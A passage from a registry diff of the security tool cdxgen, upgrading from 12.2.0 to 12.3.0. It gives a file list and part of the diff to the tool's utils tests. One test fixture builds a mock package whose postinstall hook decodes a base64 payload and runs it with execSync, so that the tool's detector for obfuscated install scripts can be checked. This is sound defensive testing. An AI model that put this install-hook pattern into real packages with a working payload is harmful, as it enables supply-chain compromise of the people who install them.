@cyclonedx/cdxgen 12.2.0 → 12.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (181) hide show
  1. package/README.md +242 -90
  2. package/bin/audit.js +191 -0
  3. package/bin/cdxgen.js +532 -168
  4. package/bin/convert.js +99 -0
  5. package/bin/evinse.js +23 -0
  6. package/bin/repl.js +339 -8
  7. package/bin/sign.js +8 -0
  8. package/bin/validate.js +8 -0
  9. package/bin/verify.js +8 -0
  10. package/data/container-knowledge-index.json +125 -0
  11. package/data/gtfobins-index.json +6296 -0
  12. package/data/lolbas-index.json +150 -0
  13. package/data/queries-darwin.json +63 -3
  14. package/data/queries-win.json +45 -3
  15. package/data/queries.json +74 -2
  16. package/data/rules/chrome-extensions.yaml +240 -0
  17. package/data/rules/ci-permissions.yaml +478 -18
  18. package/data/rules/container-risk.yaml +270 -0
  19. package/data/rules/obom-runtime.yaml +891 -0
  20. package/data/rules/package-integrity.yaml +49 -0
  21. package/data/spdx-export.schema.json +6794 -0
  22. package/data/spdx-model-v3.0.1.jsonld +15999 -0
  23. package/lib/audit/index.js +1924 -0
  24. package/lib/audit/index.poku.js +1488 -0
  25. package/lib/audit/progress.js +137 -0
  26. package/lib/audit/progress.poku.js +188 -0
  27. package/lib/audit/reporters.js +618 -0
  28. package/lib/audit/scoring.js +310 -0
  29. package/lib/audit/scoring.poku.js +341 -0
  30. package/lib/audit/targets.js +260 -0
  31. package/lib/audit/targets.poku.js +331 -0
  32. package/lib/cli/index.js +276 -68
  33. package/lib/cli/index.poku.js +368 -0
  34. package/lib/helpers/analyzer.js +1052 -5
  35. package/lib/helpers/analyzer.poku.js +301 -0
  36. package/lib/helpers/annotationFormatter.js +49 -0
  37. package/lib/helpers/annotationFormatter.poku.js +44 -0
  38. package/lib/helpers/bomUtils.js +36 -0
  39. package/lib/helpers/bomUtils.poku.js +51 -0
  40. package/lib/helpers/caxa.js +2 -2
  41. package/lib/helpers/chromextutils.js +1153 -0
  42. package/lib/helpers/chromextutils.poku.js +493 -0
  43. package/lib/helpers/ciParsers/githubActions.js +1632 -45
  44. package/lib/helpers/ciParsers/githubActions.poku.js +853 -1
  45. package/lib/helpers/containerRisk.js +186 -0
  46. package/lib/helpers/containerRisk.poku.js +52 -0
  47. package/lib/helpers/depsUtils.js +16 -0
  48. package/lib/helpers/depsUtils.poku.js +58 -1
  49. package/lib/helpers/display.js +245 -61
  50. package/lib/helpers/display.poku.js +162 -2
  51. package/lib/helpers/exportUtils.js +123 -0
  52. package/lib/helpers/exportUtils.poku.js +60 -0
  53. package/lib/helpers/formulationParsers.js +69 -0
  54. package/lib/helpers/formulationParsers.poku.js +44 -0
  55. package/lib/helpers/gtfobins.js +189 -0
  56. package/lib/helpers/gtfobins.poku.js +49 -0
  57. package/lib/helpers/lolbas.js +267 -0
  58. package/lib/helpers/lolbas.poku.js +39 -0
  59. package/lib/helpers/osqueryTransform.js +84 -0
  60. package/lib/helpers/osqueryTransform.poku.js +49 -0
  61. package/lib/helpers/provenanceUtils.js +193 -0
  62. package/lib/helpers/provenanceUtils.poku.js +145 -0
  63. package/lib/helpers/pylockutils.js +281 -0
  64. package/lib/helpers/pylockutils.poku.js +48 -0
  65. package/lib/helpers/registryProvenance.js +793 -0
  66. package/lib/helpers/registryProvenance.poku.js +452 -0
  67. package/lib/helpers/remote/dependency-track.js +84 -0
  68. package/lib/helpers/remote/dependency-track.poku.js +119 -0
  69. package/lib/helpers/source.js +1267 -0
  70. package/lib/helpers/source.poku.js +771 -0
  71. package/lib/helpers/spdxUtils.js +97 -0
  72. package/lib/helpers/spdxUtils.poku.js +70 -0
  73. package/lib/helpers/table.js +384 -0
  74. package/lib/helpers/table.poku.js +186 -0
  75. package/lib/helpers/unicodeScan.js +147 -0
  76. package/lib/helpers/unicodeScan.poku.js +45 -0
  77. package/lib/helpers/utils.js +882 -136
  78. package/lib/helpers/utils.poku.js +995 -91
  79. package/lib/managers/binary.js +29 -5
  80. package/lib/managers/docker.js +179 -52
  81. package/lib/managers/docker.poku.js +327 -28
  82. package/lib/managers/oci.js +107 -23
  83. package/lib/managers/oci.poku.js +132 -0
  84. package/lib/server/openapi.yaml +50 -0
  85. package/lib/server/server.js +228 -331
  86. package/lib/server/server.poku.js +220 -5
  87. package/lib/stages/postgen/annotator.js +7 -0
  88. package/lib/stages/postgen/annotator.poku.js +40 -0
  89. package/lib/stages/postgen/auditBom.js +20 -5
  90. package/lib/stages/postgen/auditBom.poku.js +1729 -67
  91. package/lib/stages/postgen/postgen.js +40 -0
  92. package/lib/stages/postgen/postgen.poku.js +47 -0
  93. package/lib/stages/postgen/ruleEngine.js +80 -2
  94. package/lib/stages/postgen/spdxConverter.js +796 -0
  95. package/lib/stages/postgen/spdxConverter.poku.js +341 -0
  96. package/lib/validator/bomValidator.js +232 -0
  97. package/lib/validator/bomValidator.poku.js +70 -0
  98. package/lib/validator/complianceRules.js +70 -7
  99. package/lib/validator/complianceRules.poku.js +30 -0
  100. package/lib/validator/reporters/annotations.js +2 -2
  101. package/lib/validator/reporters/console.js +13 -2
  102. package/lib/validator/reporters.poku.js +13 -0
  103. package/package.json +10 -8
  104. package/types/bin/audit.d.ts +3 -0
  105. package/types/bin/audit.d.ts.map +1 -0
  106. package/types/bin/convert.d.ts +3 -0
  107. package/types/bin/convert.d.ts.map +1 -0
  108. package/types/bin/repl.d.ts.map +1 -1
  109. package/types/lib/audit/index.d.ts +115 -0
  110. package/types/lib/audit/index.d.ts.map +1 -0
  111. package/types/lib/audit/progress.d.ts +27 -0
  112. package/types/lib/audit/progress.d.ts.map +1 -0
  113. package/types/lib/audit/reporters.d.ts +35 -0
  114. package/types/lib/audit/reporters.d.ts.map +1 -0
  115. package/types/lib/audit/scoring.d.ts +35 -0
  116. package/types/lib/audit/scoring.d.ts.map +1 -0
  117. package/types/lib/audit/targets.d.ts +63 -0
  118. package/types/lib/audit/targets.d.ts.map +1 -0
  119. package/types/lib/cli/index.d.ts +8 -0
  120. package/types/lib/cli/index.d.ts.map +1 -1
  121. package/types/lib/helpers/analyzer.d.ts +13 -0
  122. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  123. package/types/lib/helpers/annotationFormatter.d.ts +23 -0
  124. package/types/lib/helpers/annotationFormatter.d.ts.map +1 -0
  125. package/types/lib/helpers/bomUtils.d.ts +5 -0
  126. package/types/lib/helpers/bomUtils.d.ts.map +1 -0
  127. package/types/lib/helpers/chromextutils.d.ts +97 -0
  128. package/types/lib/helpers/chromextutils.d.ts.map +1 -0
  129. package/types/lib/helpers/ciParsers/githubActions.d.ts +3 -8
  130. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  131. package/types/lib/helpers/containerRisk.d.ts +17 -0
  132. package/types/lib/helpers/containerRisk.d.ts.map +1 -0
  133. package/types/lib/helpers/depsUtils.d.ts.map +1 -1
  134. package/types/lib/helpers/display.d.ts +4 -1
  135. package/types/lib/helpers/display.d.ts.map +1 -1
  136. package/types/lib/helpers/exportUtils.d.ts +40 -0
  137. package/types/lib/helpers/exportUtils.d.ts.map +1 -0
  138. package/types/lib/helpers/formulationParsers.d.ts.map +1 -1
  139. package/types/lib/helpers/gtfobins.d.ts +17 -0
  140. package/types/lib/helpers/gtfobins.d.ts.map +1 -0
  141. package/types/lib/helpers/lolbas.d.ts +16 -0
  142. package/types/lib/helpers/lolbas.d.ts.map +1 -0
  143. package/types/lib/helpers/osqueryTransform.d.ts +7 -0
  144. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -0
  145. package/types/lib/helpers/provenanceUtils.d.ts +90 -0
  146. package/types/lib/helpers/provenanceUtils.d.ts.map +1 -0
  147. package/types/lib/helpers/pylockutils.d.ts +51 -0
  148. package/types/lib/helpers/pylockutils.d.ts.map +1 -0
  149. package/types/lib/helpers/registryProvenance.d.ts +17 -0
  150. package/types/lib/helpers/registryProvenance.d.ts.map +1 -0
  151. package/types/lib/helpers/remote/dependency-track.d.ts +16 -0
  152. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -0
  153. package/types/lib/helpers/source.d.ts +141 -0
  154. package/types/lib/helpers/source.d.ts.map +1 -0
  155. package/types/lib/helpers/spdxUtils.d.ts +2 -0
  156. package/types/lib/helpers/spdxUtils.d.ts.map +1 -0
  157. package/types/lib/helpers/table.d.ts +6 -0
  158. package/types/lib/helpers/table.d.ts.map +1 -0
  159. package/types/lib/helpers/unicodeScan.d.ts +46 -0
  160. package/types/lib/helpers/unicodeScan.d.ts.map +1 -0
  161. package/types/lib/helpers/utils.d.ts +30 -11
  162. package/types/lib/helpers/utils.d.ts.map +1 -1
  163. package/types/lib/managers/binary.d.ts.map +1 -1
  164. package/types/lib/managers/docker.d.ts.map +1 -1
  165. package/types/lib/managers/oci.d.ts.map +1 -1
  166. package/types/lib/server/server.d.ts +0 -35
  167. package/types/lib/server/server.d.ts.map +1 -1
  168. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  169. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  170. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  171. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  172. package/types/lib/stages/postgen/spdxConverter.d.ts +11 -0
  173. package/types/lib/stages/postgen/spdxConverter.d.ts.map +1 -0
  174. package/types/lib/validator/bomValidator.d.ts +1 -0
  175. package/types/lib/validator/bomValidator.d.ts.map +1 -1
  176. package/types/lib/validator/complianceRules.d.ts.map +1 -1
  177. package/types/lib/validator/reporters/console.d.ts.map +1 -1
  178. package/types/bin/dependencies.d.ts +0 -3
  179. package/types/bin/dependencies.d.ts.map +0 -1
  180. package/types/bin/licenses.d.ts +0 -3
  181. package/types/bin/licenses.d.ts.map +0 -1
@@ -1,9 +1,21 @@
1
1
  import { Buffer } from "node:buffer";
2
- import { existsSync, readFileSync, unlinkSync, writeFileSync } from "node:fs";
2
+ import {
3
+ existsSync,
4
+ mkdirSync,
5
+ mkdtempSync,
6
+ readFileSync,
7
+ rmSync,
8
+ unlinkSync,
9
+ writeFileSync,
10
+ } from "node:fs";
11
+ import { tmpdir } from "node:os";
3
12
  import path from "node:path";
13
+ import process from "node:process";
4
14
 
15
+ import esmock from "esmock";
5
16
  import { PackageURL } from "packageurl-js";
6
17
  import { assert, describe, it, test } from "poku";
18
+ import sinon from "sinon";
7
19
  import { parse } from "ssri";
8
20
  import { parse as loadYaml } from "yaml";
9
21
 
@@ -11,6 +23,7 @@ import { validateRefs } from "../validator/bomValidator.js";
11
23
  import {
12
24
  buildObjectForCocoaPod,
13
25
  buildObjectForGradleModule,
26
+ convertOSQueryResults,
14
27
  encodeForPurl,
15
28
  findLicenseId,
16
29
  findPnpmPackagePath,
@@ -18,11 +31,11 @@ import {
18
31
  getDartMetadata,
19
32
  getLicenses,
20
33
  getMvnMetadata,
21
- getNugetMetadata,
22
34
  getPropertyGroupTextNodes,
23
35
  getPyMetadata,
24
36
  guessPypiMatchingVersion,
25
37
  hasAnyProjectType,
38
+ inferJarGroupFromManifest,
26
39
  isPackageManagerAllowed,
27
40
  isPartialTree,
28
41
  isValidIriReference,
@@ -71,6 +84,7 @@ import {
71
84
  parseGradleProjects,
72
85
  parseGradleProperties,
73
86
  parseHelmYamlData,
87
+ parseJarManifest,
74
88
  parseKVDep,
75
89
  parseLeinDep,
76
90
  parseLeiningenData,
@@ -93,6 +107,7 @@ import {
93
107
  parsePodfileLock,
94
108
  parsePodfileTargets,
95
109
  parsePom,
110
+ parsePomProperties,
96
111
  parsePrivadoFile,
97
112
  parsePubLockData,
98
113
  parsePubYamlData,
@@ -110,11 +125,21 @@ import {
110
125
  pnpmMetadata,
111
126
  purlFromUrlString,
112
127
  readZipEntry,
128
+ safeSpawnSync,
113
129
  splitOutputByGradleProjects,
114
130
  toGemModuleNames,
131
+ trimJarGroupSuffix,
115
132
  yarnLockToIdentMap,
116
133
  } from "./utils.js";
117
134
 
135
+ const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
136
+
137
+ function readJarMetadataFixture(...segments) {
138
+ return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
139
+ encoding: "utf-8",
140
+ });
141
+ }
142
+
118
143
  it("SSRI test", () => {
119
144
  // gopkg.lock hash
120
145
  let ss = parse(
@@ -198,6 +223,81 @@ it("finds license id from name", () => {
198
223
  );
199
224
  });
200
225
 
226
+ it("safeSpawnSync() resets ANSI color state for host pip warnings", () => {
227
+ const originalConsoleWarn = console.warn;
228
+ const originalContainer = process.env.CDXGEN_IN_CONTAINER;
229
+ const originalNoticeCache = globalThis.__cdxgenNoticeCache;
230
+ const warnings = [];
231
+ delete process.env.CDXGEN_IN_CONTAINER;
232
+ delete globalThis.__cdxgenNoticeCache;
233
+ console.warn = (message) => {
234
+ warnings.push(message);
235
+ };
236
+
237
+ try {
238
+ safeSpawnSync("pip-cdxgen-test", ["install"], {});
239
+ assert.strictEqual(warnings.length, 1);
240
+ assert.ok(
241
+ warnings[0].startsWith(
242
+ "\x1b[1;35mNotice: pip/uv install invoked without '--only-binary'.",
243
+ ),
244
+ );
245
+ assert.ok(warnings[0].endsWith("\x1b[0m"));
246
+ assert.ok(!warnings[0].endsWith("\x1b"));
247
+ } finally {
248
+ console.warn = originalConsoleWarn;
249
+ if (originalContainer === undefined) {
250
+ delete process.env.CDXGEN_IN_CONTAINER;
251
+ } else {
252
+ process.env.CDXGEN_IN_CONTAINER = originalContainer;
253
+ }
254
+ if (originalNoticeCache === undefined) {
255
+ delete globalThis.__cdxgenNoticeCache;
256
+ } else {
257
+ globalThis.__cdxgenNoticeCache = originalNoticeCache;
258
+ }
259
+ }
260
+ });
261
+
262
+ it("safeSpawnSync() logs container python notices to stdout", () => {
263
+ const originalConsoleLog = console.log;
264
+ const originalConsoleWarn = console.warn;
265
+ const originalContainer = process.env.CDXGEN_IN_CONTAINER;
266
+ const originalNoticeCache = globalThis.__cdxgenNoticeCache;
267
+ const logs = [];
268
+ const warnings = [];
269
+ process.env.CDXGEN_IN_CONTAINER = "true";
270
+ delete globalThis.__cdxgenNoticeCache;
271
+ console.log = (message) => {
272
+ logs.push(message);
273
+ };
274
+ console.warn = (message) => {
275
+ warnings.push(message);
276
+ };
277
+
278
+ try {
279
+ safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
280
+ safeSpawnSync("python-cdxgen-test", ["-c", "pass"], {});
281
+ assert.deepStrictEqual(logs, [
282
+ "Running python command without '-S' argument.",
283
+ ]);
284
+ assert.deepStrictEqual(warnings, []);
285
+ } finally {
286
+ console.log = originalConsoleLog;
287
+ console.warn = originalConsoleWarn;
288
+ if (originalContainer === undefined) {
289
+ delete process.env.CDXGEN_IN_CONTAINER;
290
+ } else {
291
+ process.env.CDXGEN_IN_CONTAINER = originalContainer;
292
+ }
293
+ if (originalNoticeCache === undefined) {
294
+ delete globalThis.__cdxgenNoticeCache;
295
+ } else {
296
+ globalThis.__cdxgenNoticeCache = originalNoticeCache;
297
+ }
298
+ }
299
+ });
300
+
201
301
  it("splits parallel gradle properties output correctly", () => {
202
302
  const parallelGradlePropertiesOutput = readFileSync(
203
303
  "./test/gradle-prop-parallel.out",
@@ -2597,81 +2697,82 @@ it("parse github actions workflow data", () => {
2597
2697
  assert.deepStrictEqual(parseGitHubWorkflowData(null), []);
2598
2698
  let dep_list = parseGitHubWorkflowData("./.github/workflows/nodejs.yml");
2599
2699
  assert.deepStrictEqual(dep_list.length, 13);
2600
- assert.deepStrictEqual(dep_list[0], {
2601
- "bom-ref":
2602
- "pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2603
- type: "application",
2604
- group: "actions",
2605
- name: "checkout",
2606
- version: "de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2607
- purl: "pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2608
- properties: [
2609
- {
2610
- name: "SrcFile",
2611
- value: "./.github/workflows/nodejs.yml",
2612
- },
2613
- {
2614
- name: "cdx:github:workflow:name",
2615
- value: "Node CI",
2616
- },
2617
- {
2618
- name: "cdx:github:workflow:file",
2619
- value: "./.github/workflows/nodejs.yml",
2620
- },
2621
- {
2622
- name: "cdx:github:job:name",
2623
- value: "read-node-versions",
2624
- },
2625
- {
2626
- name: "cdx:github:job:runner",
2627
- value: "ubuntu-latest",
2628
- },
2629
- {
2630
- name: "cdx:github:action:uses",
2631
- value: "actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2632
- },
2633
- {
2634
- name: "cdx:github:action:versionPinningType",
2635
- value: "sha",
2636
- },
2637
- {
2638
- name: "cdx:github:action:isShaPinned",
2639
- value: "true",
2640
- },
2641
- {
2642
- name: "cdx:actions:isOfficial",
2643
- value: "true",
2644
- },
2645
- {
2646
- name: "cdx:github:checkout:persistCredentials",
2647
- value: "false",
2648
- },
2649
- {
2650
- name: "cdx:github:workflow:triggers",
2651
- value: "pull_request,push,workflow_dispatch",
2652
- },
2653
- ],
2654
- scope: "required",
2655
- evidence: {
2656
- identity: [
2657
- {
2658
- field: "purl",
2659
- confidence: 0.5,
2660
- methods: [
2661
- {
2662
- technique: "source-code-analysis",
2663
- confidence: 0.5,
2664
- value: "./.github/workflows/nodejs.yml",
2665
- },
2666
- ],
2667
- },
2668
- ],
2669
- },
2670
- });
2700
+ const firstAction = dep_list[0];
2701
+ assert.deepStrictEqual(firstAction["bom-ref"], firstAction.purl);
2702
+ assert.deepStrictEqual(firstAction.type, "application");
2703
+ assert.deepStrictEqual(firstAction.group, "actions");
2704
+ assert.deepStrictEqual(firstAction.name, "checkout");
2705
+ assert.deepStrictEqual(
2706
+ firstAction.version,
2707
+ "de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2708
+ );
2709
+ assert.deepStrictEqual(
2710
+ firstAction.purl,
2711
+ "pkg:github/actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2712
+ );
2713
+ assert.deepStrictEqual(firstAction.scope, "required");
2714
+ assert.deepStrictEqual(firstAction.evidence?.identity?.[0]?.field, "purl");
2715
+ assert.deepStrictEqual(
2716
+ firstAction.evidence?.identity?.[0]?.methods?.[0]?.value,
2717
+ "./.github/workflows/nodejs.yml",
2718
+ );
2719
+ const firstActionProps = Object.fromEntries(
2720
+ firstAction.properties.map((prop) => [prop.name, prop.value]),
2721
+ );
2722
+ assert.deepStrictEqual(
2723
+ firstActionProps.SrcFile,
2724
+ "./.github/workflows/nodejs.yml",
2725
+ );
2726
+ assert.deepStrictEqual(
2727
+ firstActionProps["cdx:github:workflow:name"],
2728
+ "Node CI",
2729
+ );
2730
+ assert.deepStrictEqual(
2731
+ firstActionProps["cdx:github:workflow:file"],
2732
+ "./.github/workflows/nodejs.yml",
2733
+ );
2734
+ assert.deepStrictEqual(
2735
+ firstActionProps["cdx:github:job:name"],
2736
+ "read-node-versions",
2737
+ );
2738
+ assert.deepStrictEqual(
2739
+ firstActionProps["cdx:github:job:runner"],
2740
+ "ubuntu-latest",
2741
+ );
2742
+ assert.deepStrictEqual(
2743
+ firstActionProps["cdx:github:action:uses"],
2744
+ "actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd",
2745
+ );
2746
+ assert.deepStrictEqual(
2747
+ firstActionProps["cdx:github:action:versionPinningType"],
2748
+ "sha",
2749
+ );
2750
+ assert.deepStrictEqual(
2751
+ firstActionProps["cdx:github:action:isShaPinned"],
2752
+ "true",
2753
+ );
2754
+ assert.deepStrictEqual(firstActionProps["cdx:actions:isOfficial"], "true");
2755
+ assert.deepStrictEqual(firstActionProps["cdx:actions:isVerified"], "false");
2756
+ assert.deepStrictEqual(
2757
+ firstActionProps["cdx:github:checkout:persistCredentials"],
2758
+ "false",
2759
+ );
2760
+ assert.deepStrictEqual(
2761
+ firstActionProps["cdx:github:workflow:triggers"],
2762
+ "pull_request,push,workflow_dispatch",
2763
+ );
2764
+ assert.deepStrictEqual(
2765
+ firstActionProps["cdx:github:workflow:hasPullRequestTrigger"],
2766
+ "true",
2767
+ );
2768
+ assert.deepStrictEqual(
2769
+ firstActionProps["cdx:github:workflow:hasWorkflowDispatchTrigger"],
2770
+ "true",
2771
+ );
2671
2772
  dep_list = parseGitHubWorkflowData("./test/data/github-actions-tj.yaml");
2672
2773
  assert.deepStrictEqual(dep_list.length, 4);
2673
2774
  dep_list = parseGitHubWorkflowData("./.github/workflows/repotests.yml");
2674
- assert.deepStrictEqual(dep_list.length, 90);
2775
+ assert.deepStrictEqual(dep_list.length, 91);
2675
2776
  });
2676
2777
  // biome-ignore-end lint/suspicious/noTemplateCurlyInString: fp
2677
2778
 
@@ -3334,6 +3435,10 @@ it("get nget metadata", async () => {
3334
3435
  ],
3335
3436
  ref: "pkg:nuget/Serilog@3.0.1",
3336
3437
  },
3438
+ {
3439
+ dependsOn: ["pkg:nuget/Serilog@3.0.1"],
3440
+ ref: "pkg:nuget/Sample@latest",
3441
+ },
3337
3442
  ];
3338
3443
  const pkg_list = [
3339
3444
  {
@@ -3348,9 +3453,133 @@ it("get nget metadata", async () => {
3348
3453
  version: "3.0.1",
3349
3454
  "bom-ref": "pkg:nuget/Serilog@3.0.1",
3350
3455
  },
3456
+ {
3457
+ group: "",
3458
+ name: "Sample",
3459
+ version: "latest",
3460
+ "bom-ref": "pkg:nuget/Sample@latest",
3461
+ },
3351
3462
  ];
3352
- const { pkgList, dependencies } = await getNugetMetadata(pkg_list, dep_list);
3353
- // This data will need to be updated periodically as it tests that missing versions are set to the latest rc
3463
+ const responses = new Map([
3464
+ [
3465
+ "https://api.nuget.org/v3/index.json",
3466
+ {
3467
+ body: {
3468
+ resources: [
3469
+ {
3470
+ "@type": "RegistrationsBaseUrl/3.6.0",
3471
+ "@id": "https://api.nuget.org/v3/registration3/",
3472
+ },
3473
+ ],
3474
+ },
3475
+ },
3476
+ ],
3477
+ [
3478
+ "https://api.nuget.org/v3/registration3/castle.core/index.json",
3479
+ {
3480
+ body: {
3481
+ items: [
3482
+ {
3483
+ lower: "4.0.0",
3484
+ upper: "4.4.0",
3485
+ items: [
3486
+ {
3487
+ catalogEntry: {
3488
+ version: "4.4.0",
3489
+ description:
3490
+ "Castle Core, including DynamicProxy, Logging Abstractions and DictionaryAdapter",
3491
+ authors: "Castle Project Contributors",
3492
+ licenseExpression: "Apache-2.0",
3493
+ tags: [
3494
+ "Castle",
3495
+ "DynamicProxy",
3496
+ "dynamic",
3497
+ "proxy",
3498
+ "dynamicproxy2",
3499
+ "dictionaryadapter",
3500
+ "emailsender",
3501
+ ],
3502
+ projectUrl: "http://www.castleproject.org/",
3503
+ },
3504
+ },
3505
+ ],
3506
+ },
3507
+ ],
3508
+ },
3509
+ },
3510
+ ],
3511
+ [
3512
+ "https://api.nuget.org/v3/registration3/serilog/index.json",
3513
+ {
3514
+ body: {
3515
+ items: [
3516
+ {
3517
+ lower: "3.0.0",
3518
+ upper: "3.0.1",
3519
+ items: [
3520
+ {
3521
+ catalogEntry: {
3522
+ version: "3.0.1",
3523
+ description:
3524
+ "Simple .NET logging with fully-structured events",
3525
+ authors: "Serilog Contributors",
3526
+ licenseExpression: "Apache-2.0",
3527
+ tags: ["serilog", "logging", "semantic", "structured"],
3528
+ projectUrl: "https://serilog.net/",
3529
+ },
3530
+ },
3531
+ ],
3532
+ },
3533
+ ],
3534
+ },
3535
+ },
3536
+ ],
3537
+ [
3538
+ "https://api.nuget.org/v3/registration3/sample/index.json",
3539
+ {
3540
+ body: {
3541
+ items: [
3542
+ {
3543
+ lower: "1.0.0",
3544
+ upper: "1.2.3",
3545
+ items: [
3546
+ {
3547
+ catalogEntry: {
3548
+ version: "1.2.3",
3549
+ description: "Sample package for metadata tests",
3550
+ authors: "Sample Maintainers",
3551
+ licenseExpression: "MIT",
3552
+ tags: ["Sample", "Demo"],
3553
+ projectUrl: "https://example.invalid/sample",
3554
+ },
3555
+ },
3556
+ ],
3557
+ },
3558
+ ],
3559
+ },
3560
+ },
3561
+ ],
3562
+ ]);
3563
+ const agentGet = sinon.stub().callsFake(async (url, options) => {
3564
+ assert.strictEqual(options?.responseType, "json");
3565
+ const response = responses.get(String(url));
3566
+ assert.ok(response, `unexpected NuGet request: ${url}`);
3567
+ return response;
3568
+ });
3569
+ const { getNugetMetadata: mockedGetNugetMetadata } = await esmock(
3570
+ "./utils.js",
3571
+ {
3572
+ got: {
3573
+ default: {
3574
+ extend: sinon.stub().returns({ get: agentGet }),
3575
+ },
3576
+ },
3577
+ },
3578
+ );
3579
+ const { pkgList, dependencies } = await mockedGetNugetMetadata(
3580
+ pkg_list,
3581
+ dep_list,
3582
+ );
3354
3583
  assert.deepStrictEqual(pkgList, [
3355
3584
  {
3356
3585
  author: "Castle Project Contributors",
@@ -3393,8 +3622,24 @@ it("get nget metadata", async () => {
3393
3622
  tags: ["serilog", "logging", "semantic", "structured"],
3394
3623
  version: "3.0.1",
3395
3624
  },
3625
+ {
3626
+ author: "Sample Maintainers",
3627
+ "bom-ref": "pkg:nuget/Sample@1.2.3",
3628
+ description: "Sample package for metadata tests",
3629
+ group: "",
3630
+ homepage: {
3631
+ url: "https://www.nuget.org/packages/Sample/1.2.3/",
3632
+ },
3633
+ license: "MIT",
3634
+ name: "Sample",
3635
+ repository: {
3636
+ url: "https://example.invalid/sample",
3637
+ },
3638
+ tags: ["sample", "demo"],
3639
+ version: "1.2.3",
3640
+ },
3396
3641
  ]);
3397
- assert.deepStrictEqual(pkgList.length, 2);
3642
+ assert.deepStrictEqual(pkgList.length, 3);
3398
3643
  assert.deepStrictEqual(dependencies, [
3399
3644
  {
3400
3645
  dependsOn: [
@@ -3432,6 +3677,10 @@ it("get nget metadata", async () => {
3432
3677
  ],
3433
3678
  ref: "pkg:nuget/Serilog@3.0.1",
3434
3679
  },
3680
+ {
3681
+ dependsOn: ["pkg:nuget/Serilog@3.0.1"],
3682
+ ref: "pkg:nuget/Sample@1.2.3",
3683
+ },
3435
3684
  ]);
3436
3685
  }, 240000);
3437
3686
 
@@ -3575,6 +3824,23 @@ it("get licenses", () => {
3575
3824
  },
3576
3825
  ]);
3577
3826
 
3827
+ licenses = getLicenses({
3828
+ license: [
3829
+ {
3830
+ type: "MIT",
3831
+ url: "https://github.com/harvesthq/chosen/blob/master/LICENSE.md",
3832
+ },
3833
+ ],
3834
+ });
3835
+ assert.deepStrictEqual(licenses, [
3836
+ {
3837
+ license: {
3838
+ id: "MIT",
3839
+ url: "https://github.com/harvesthq/chosen/blob/master/LICENSE.md",
3840
+ },
3841
+ },
3842
+ ]);
3843
+
3578
3844
  licenses = getLicenses({
3579
3845
  license: "GPL-2.0+",
3580
3846
  });
@@ -3626,6 +3892,325 @@ it("parsePkgJson", async () => {
3626
3892
  assert.deepStrictEqual(pkgList.length, 1);
3627
3893
  });
3628
3894
 
3895
+ it("parsePkgJson emits obfuscated lifecycle-hook indicators", async () => {
3896
+ const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pkgjson-"));
3897
+ const pkgJsonFile = path.join(tempDir, "package.json");
3898
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
3899
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
3900
+ writeFileSync(
3901
+ installScriptFile,
3902
+ [
3903
+ "import cp from 'node:child_process';",
3904
+ "const payload = Buffer.from('ZXZhbCgnY29uc29sZS5sb2coMSknKQ==', 'base64');",
3905
+ "cp.execSync(payload.toString());",
3906
+ ].join("\n"),
3907
+ );
3908
+ writeFileSync(
3909
+ pkgJsonFile,
3910
+ JSON.stringify(
3911
+ {
3912
+ name: "suspicious-pkg",
3913
+ version: "1.0.0",
3914
+ scripts: {
3915
+ postinstall: "node scripts/postinstall.js",
3916
+ },
3917
+ },
3918
+ null,
3919
+ 2,
3920
+ ),
3921
+ );
3922
+
3923
+ try {
3924
+ const pkgList = await parsePkgJson(pkgJsonFile, true, true);
3925
+ assert.strictEqual(pkgList.length, 1);
3926
+ const properties = pkgList[0].properties || [];
3927
+ assert.ok(
3928
+ properties.some(
3929
+ (property) =>
3930
+ property.name === "cdx:npm:hasInstallScript" &&
3931
+ property.value === "true",
3932
+ ),
3933
+ );
3934
+ assert.ok(
3935
+ properties.some(
3936
+ (property) =>
3937
+ property.name === "cdx:npm:hasObfuscatedLifecycleScript" &&
3938
+ property.value === "true",
3939
+ ),
3940
+ );
3941
+ assert.ok(
3942
+ properties.some(
3943
+ (property) =>
3944
+ property.name === "cdx:npm:lifecycleObfuscationIndicators" &&
3945
+ property.value.includes("ast:buffer-base64"),
3946
+ ),
3947
+ );
3948
+ assert.ok(
3949
+ properties.some(
3950
+ (property) =>
3951
+ property.name === "cdx:npm:lifecycleExecutionIndicators" &&
3952
+ property.value.includes("ast:child-process"),
3953
+ ),
3954
+ );
3955
+ } finally {
3956
+ rmSync(tempDir, { force: true, recursive: true });
3957
+ }
3958
+ });
3959
+
3960
+ it("parsePkgJson handles lifecycle runners with option flags", async () => {
3961
+ const tempDir = mkdtempSync(
3962
+ path.join(tmpdir(), "cdxgen-pkgjson-runner-flags-"),
3963
+ );
3964
+ const pkgJsonFile = path.join(tempDir, "package.json");
3965
+ const preloadFile = path.join(tempDir, "preload.js");
3966
+ const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
3967
+ mkdirSync(path.dirname(installScriptFile), { recursive: true });
3968
+ writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
3969
+ writeFileSync(
3970
+ installScriptFile,
3971
+ [
3972
+ "import cp from 'node:child_process';",
3973
+ "cp.execSync('echo cdxgen');",
3974
+ ].join("\n"),
3975
+ );
3976
+ writeFileSync(
3977
